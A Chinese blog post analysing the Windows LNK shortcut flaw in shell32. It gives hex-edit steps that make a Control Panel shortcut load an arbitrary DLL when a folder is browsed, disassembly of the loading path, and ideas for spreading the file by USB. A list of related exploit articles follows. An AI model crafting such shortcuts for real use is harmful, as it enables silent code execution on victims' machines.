前言
windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,能够载入硬盘上的随意DLL文件,就可以运行随意代码。

漏洞文件的生成
到“控制面板”以下,右键点“显示”,点“创建快捷方式”,把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。

Offset      0 1 2 3 4 5 6 7   8 9 A B C D E F
00000000   4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00   L...........?..
00000010   00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00   ...F?..........
00000020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00000030   00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00   ................
00000040   00 00 00 00 00 00 00 00 00 00 00 00 CC 00 14 00   ............?..
00000050   1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30   .P郞??i.⒇..+0
00000060   30 9D 14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD   0?... ??i.⑤
00000070   08 00 2B 30 30 9D A2 00 00 00 9C FF FF FF 00 00   ..+00潰...? ..
00000080   00 00 00 6A 00 00 00 00 00 00 1D 00 20 00 44 00   ...j........ .D.
00000090   3A 00 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00   :./.W.I.N.D.O.W.
000000A0   53 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00   S./.s.y.s.t.e.m.
000000B0   33 00 32 00 5C 00 64 00 65 00 73 00 6B 00 2E 00 3.2./.d.e.s.k...
000000C0   63 00 70 00 6C 00 00 00 3E 66 3A 79 00 00 F4 66 c.p.l...>f:y..鬴
000000D0   39 65 A8 60 84 76 4C 68 62 97 84 76 16 59 C2 89   9e╜剉Lhb梽v.Y
000000E0   0C FF 8B 4F 82 59 CC 80 6F 66 01 30 4F 5C 55 5E   . O俌虁of.0O/U^
000000F0   DD 4F A4 62 0B 7A 8F 5E 01 30 9C 98 72 82 01 30   軴 .z廭.0湗r?0
00000100   57 5B 53 4F 27 59 0F 5C 8C 54 4F 5C 55 5E 06 52   W[SO'Y./孴O/U^.R
00000110   A8 8F 87 73 02 30 00 00 00 00 00 00 00 00         ◤噑.0........
把偏移7A处的9C FF FF FF改成00 00 00 00,把后面的文件名称D:/WINDOWS/system32/desk.cpl改成C:/dll.dll(UNICODE格式)。保存文件。把这个文件拷贝到随意文件夹下,当用户浏览该文件夹时,就会载入C:/dll.dll文件。
Lnk文件格式的相关地方
Lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面,这个结构是依照层来表示一个目标的。上面那个lnk文件中面,第一层是
14 00   ............?..
00000050   1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30   .P郞??i.⒇..+0
00000060   30 9D
14 00代表长度,后面的16字节是“我的电脑”的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D},注冊表里能够搜到。第二层是
14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD   0?... ??i.⑤
00000070   08 00 2B 30 30 9D
这个是“控制面板”的GUID {21EC2020-3AEA-1069-A2DD-08002B30309D}。
第三层就是后面长度为0xA2的目标文件。这里面偏移0x7A处的9C FF FF FF是用来指明快捷方式图标的index。貌似是这种。
所以这个Shell Item Id List所指向的文件就是:我的电脑->控制面板->D:/WINDOWS/system32/desk.cpl。
对于普通文件的快捷方式,好像是:我的电脑->盘符->文件夹1->文件夹2…->文件名称。
漏洞产生的地方
    shell32在处理lnk文件的时候要把它的图标显示出来,对于一般文件应该是从Icon filename string里面解析,但对于文件后面没有Icon filename string结构的控制面板快捷方式,是直接从0x7A那里的iconindex来解析。当这个iconindex是0的时候,会去载入cpl文件,调用CPlApplet接口,这样就存在运行DLL中代码的问题。
7D716064    53              push    ebx
7D716065    FF75 10         push    dword ptr [ebp+10]
7D716068    8D5E 0C         lea     ebx, dword ptr [esi+C]
7D71606B    53              push    ebx
7D71606C    FF75 0C         push    dword ptr [ebp+C]                     ;C:/dll.dll,0,<-这个0就是从偏移7A那里得到的iconindex
7D71606F    FF15 0015597D   call    dword ptr [<&KERNEL32.lstrcpynW>>; kernel32.lstrcpynW
7D716075    6A 2C           push    2C
7D716077    FF75 0C         push    dword ptr [ebp+C]
7D71607A    FF15 F41B597D   call    dword ptr [<&SHLWAPI.StrChrW>]   ; shlwapi.StrChrW
7D716080    85C0            test    eax, eax
7D716082    74 5D           je      short 7D7160E1
7D716084    66:8320 00      and     word ptr [eax], 0
7D716088    83C0 02         add     eax, 2
7D71608B    50              push    eax
7D71608C    FF15 641C597D   call    dword ptr [<&SHLWAPI.StrToIntW>] ; shlwapi.StrToIntW
7D716092    8B7D 14         mov     edi, dword ptr [ebp+14]
7D716095    8907           mov     dword ptr [edi], eax
7D716097    8B45 18         mov     eax, dword ptr [ebp+18]
7D71609A    C700 02000000   mov     dword ptr [eax], 2
7D7160A0    8B0F            mov     ecx, dword ptr [edi]
7D7160A2    33D2            xor     edx, edx
7D7160A4     3BCA           cmp     ecx, edx                    ;偏移0x7A必须得是0,才会LoadLibary
7D7160A6    75 33           jnz     short 7D7160DB
7D7160A8    C700 1A000000   mov     dword ptr [eax], 1A
7D7160AE    8D86 14020000   lea     eax, dword ptr [esi+214]
7D7160B4    3910            cmp     dword ptr [eax], edx
7D7160B6    8955 0C         mov     dword ptr [ebp+C], edx
7D7160B9    75 16           jnz     short 7D7160D1
7D7160BB    8D4D 0C         lea     ecx, dword ptr [ebp+C]
7D7160BE    51              push    ecx
7D7160BF    8D8E 18020000   lea      ecx, dword ptr [esi+218]
7D7160C5    51              push    ecx
7D7160C6    50              push    eax
7D7160C7    53              push    ebx
7D7160C8    E8 48C4F2FF     call    7D642515                     ;这里调用后面
后面
7D63866D    FF15 6415597D   call    dword ptr [<&KERNEL32.GetCurrent>; kernel32.GetCurrentProcessId
7D638673    50              push    eax
7D638674    56              push    esi
7D638675    68 00001000     push    100000                           ; UNICODE "f1df_6.0.2600.5512_x-ww_35d4ce83/"
7D63867A    8985 E4FDFFFF   mov     dword ptr [ebp-21C], eax
7D638680    FF15 6815597D   call    dword ptr [<&KERNEL32.OpenProces>; kernel32.OpenProcess
7D638686    3BC6            cmp     eax, esi
7D638688    8985 E8FDFFFF   mov     dword ptr [ebp-218], eax
7D63868E    0F84 E5000000   je      7D638779
7D638694    8D85 F4FDFFFF   lea     eax, dword ptr [ebp-20C]
7D63869A    50              push    eax
7D63869B     FF15 A41C597D   call    dword ptr [<&SHLWAPI.PathFileExi>; shlwapi.PathFileExistsW
7D6386A1    85C0            test    eax, eax
7D6386A3    C785 BCFDFFFF 2>mov     dword ptr [ebp-244], 20
7D6386AD    74 14           je      short 7D6386C3
7D6386AF    8D85 F4FDFFFF   lea     eax, dword ptr [ebp-20C]
7D6386B5    89B5 C0FDFFFF   mov     dword ptr [ebp-240], esi
7D6386BB    8985 C4FDFFFF   mov     dword ptr [ebp-23C], eax
7D6386C1    EB 1A           jmp     short 7D6386DD
7D6386C3    C785 C0FDFFFF 0>mov     dword ptr [ebp-240], 8
7D6386CD    899D C4FDFFFF   mov     dword ptr [ebp-23C], ebx
7D6386D3    C785 D0FDFFFF 7>mov     dword ptr [ebp-230], 7B
7D6386DD    8D85 BCFDFFFF   lea     eax, dword ptr [ebp-244]
7D6386E3    50              push    eax
7D6386E4   FF15 6C15597D   call    dword ptr [<&KERNEL32.CreateActC>; kernel32.CreateActCtxW
7D6386EA    83F8 FF         cmp     eax, -1
7D6386ED    8985 F0FDFFFF   mov     dword ptr [ebp-210], eax
7D6386F3    75 06           jnz     short 7D6386FB
7D6386F5    89B5 F0FDFFFF   mov     dword ptr [ebp-210], esi
7D6386FB    8B3D 8C15597D   mov     edi, dword ptr [<&KERNEL32.Activ>; kernel32.ActivateActCtx
7D638701    8D85 ECFDFFFF   lea     eax, dword ptr [ebp-214]
7D638707    50              push    eax
7D638708    FFB5 F0FDFFFF   push    dword ptr [ebp-210]
7D63870E    FFD7            call    edi
7D638710    33F6            xor     esi, esi
7D638712    46              inc     esi
7D638713    56              push    esi
7D638714    56              push    esi
7D638715   56              push    esi
7D638716    53              push    ebx
7D638717    FF15 00F0787D   call    dword ptr [7D78F000]             ; apphelp.ApphelpCheckExe
7D63871D    85C0            test    eax, eax
7D63871F    75 08           jnz     short 7D638729
7D638721    2185 E0FDFFFF   and     dword ptr [ebp-220], eax
7D638727    EB 0D           jmp     short 7D638736
7D638729    53              push    ebx                            ;载入DLL
7D63872A    FF15 A015597D   call    dword ptr [<&KERNEL32.LoadLibrar>; kernel32.LoadLibraryW
7D638730    8985 E0FDFFFF   mov     dword ptr [ebp-220], eax         ; dll.01C00000
利用
    据说病毒样本是通过这个漏洞利用U盘来传播的,只是我发现载入DLL必须是绝对路径,用相对路径是不行的,那病毒就必需要知道U盘的盘符才干载入U盘上的DLL。不知道这个问题是怎么解决的呢?我没有细致研究lnk文件格式,不知道是不是能够放多个目标地址。我能想到的就仅仅有一个非常笨的办法,感染的时候在U盘上创建20多个.lnk文件,一个盘符相应一个,这样总能覆盖到U盘所在盘符。另外利用共享文件夹来传播也存在相同问题。
    事实上我认为这个也不算是一个真正意义上的漏洞,由于既然要解析出图标,载入相应的DLL文件也是说得过去的,凑巧被病毒利用上了而已。

LNK快捷方式漏洞利用方式 exp制作教程的更多相关文章

  1. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  2. ms17-010漏洞利用教程

    ms17-010 漏洞利用并拿下服务器教程 攻击环境: 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168 ...

  3. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  4. CVE-2019-0708_RDP漏洞利用

    可以说是2019年影响比较大的一个漏洞了, 简述下这个漏洞: Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如: windows2003.windows2008.w ...

  5. OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解

    OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read ...

  6. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  7. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

  8. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  9. 史上最全最强Charles截取手机https协议数据包教程(附上利用此技术制作最近微信比较火的头脑王者辅助外挂)!

    纯原创,思路也是本人花了半个小时整理出来的,整个完成花费了本人半天时间,由于不才刚大学毕业,所以有的编码方面可能不入大牛们的眼,敬请原谅!如有转载请附上本地址,谢谢! 最近微信朋友圈刚刚被跳一跳血洗, ...

随机推荐

  1. 关于SSIS批量抽取Excel文件报0x80004005错误的解决办法

    原文:关于SSIS批量抽取Excel文件报0x80004005错误的解决办法 标题: Microsoft Visual Studio ------------------------------ Pa ...

  2. 参数化测试--sheet表的应用

    自动化测试对录制和编辑好的测试步骤进行回放,这种是线性的自动化测试方式,其缺点是明显的,就是其测试覆盖面比较低.测试回放的只是录制时做出的界面操作,以及输入的测试数据,或者是脚本编辑时指定的界面操作和 ...

  3. C++ 中的比較函数

    在敲代码的时候,排序是一种和经常使用的算法.在排序中.比較又是当中最经常使用的操作.这里,我们来分析一下C++中的比較问题. 当中,基本数据类型int. float.string等已经提供了默认的比較 ...

  4. Chrome应用技巧之代码整理。

    我们有时候在看别人站点代码时往往是经过压缩的,代码都在一行上了,调试非常是困难,今天给大家介绍一种基本Chrome浏览器的代码整理方法.请看图:

  5. JNDI 什么

    JNDI是 Java 命名与文件夹接口(Java Naming and Directory Interface).在J2EE规范中是重要的规范之中的一个,不少专家觉得,没有透彻理解JNDI的意义和作用 ...

  6. ftk学习记(消息框篇)

    [ 声明:版权全部,欢迎转载,请勿用于商业用途.  联系信箱:feixiaoxing @163.com] 上一篇说到了输入框.闲话不多说,首先看结果显示, 大家看看效果是不是和我们之前说的一样.今天, ...

  7. SQL注入的原理解说,挺好!

    原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 总结 前几天,国内最大的程序猿社区CSDN网站的用户数据库 ...

  8. NET 项目结构搭建

    NET 项目结构搭建 我们头开始,从简单的单项目解决方案,逐步添加业务逻辑的约束,从应用逻辑和领域逻辑两方面考虑,从简单的单个项目逐步搭建一个多项目的解决方案.主要内容:(1)搭建应用逻辑和领域逻辑都 ...

  9. 从原理角度解析Android (Java) http 文件上传

    转载请标明出处:http://blog.csdn.net/lmj623565791/article/details/23781773 文件上传是我们项目中经常使用的功能,一般我们的服务器可能都是web ...

  10. Spark SQL 源代码分析系列

    从决定写Spark SQL文章的源代码分析,到现在一个月的时间,一个又一个几乎相同的结束很快,在这里也做了一个综合指数,方便阅读,下面是读取顺序 :) 第一章 Spark SQL源代码分析之核心流程 ...